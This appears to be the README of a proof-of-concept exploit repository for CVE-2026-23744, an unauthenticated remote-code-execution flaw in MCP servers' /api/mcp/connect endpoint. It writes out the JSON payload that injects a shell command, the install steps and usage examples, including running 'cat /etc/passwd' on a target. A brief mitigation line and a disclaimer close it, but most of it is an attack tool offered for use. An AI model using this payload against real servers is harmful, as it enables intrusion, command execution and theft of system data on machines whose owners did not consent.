
Python PoC for CVE-2026-23744, unauthenticated RCE in MCP servers via the /api/mcp/connect serverConfig command field (default port 6274)
Proof-of-Concept exploit by d3vn0mi
CVE-2026-23744 is an unauthenticated Remote Code Execution (RCE) vulnerability in MCP-compatible servers exposed on port 6274. The /api/mcp/connect endpoint accepts a serverConfig object that allows callers to specify an arbitrary OS command and arguments — without any authentication or authorisation checks.
An attacker with network access to the service can execute arbitrary commands as the user running the MCP server.
| Detail | Value |
|---|
| CVE ID | CVE-2026-23744 |
| Type | Unauthenticated Remote Code Execution |
| Endpoint | POST /api/mcp/connect |
| Port | 6274 (default) |
| Severity | Critical |
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_COMMAND>"],
"env": {}
},
"serverId": "anything"
}
The server spawns the supplied command with the given args without sanitisation or access control.
git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git
cd CVE-2026-23744-POC
pip install -r requirements.txt
# Basic usage
python3 exploit.py -t <TARGET_IP> -c '<COMMAND>'
# Custom port
python3 exploit.py -t 192.168.1.10 -p 6274 -c 'id > /tmp/pwned.txt'
# Skip the reachability check
python3 exploit.py -t 10.0.0.5 -c 'whoami' --no-check
# Custom server ID
python3 exploit.py -t 127.0.0.1 -c 'cat /etc/passwd' -s my_server
| Flag | Description |
|---|---|
-t, --target | Target IP or hostname (required) |
-c, --command | OS command to execute (required) |
-p, --port | Target port (default: 6274) |
-s, --server-id | serverId value in the payload |
--timeout | Probe timeout in seconds (default: 30) |
--no-check | Skip initial reachability check |
/api/mcp/connect endpoint via authentication and network-level controls.This tool is provided for authorised security testing and educational purposes only. Unauthorised access to computer systems is illegal. The author assumes no liability for misuse. Always obtain proper authorisation before testing.
This project is licensed under the MIT License.
d3vn0mi — github.com/d3vn0mi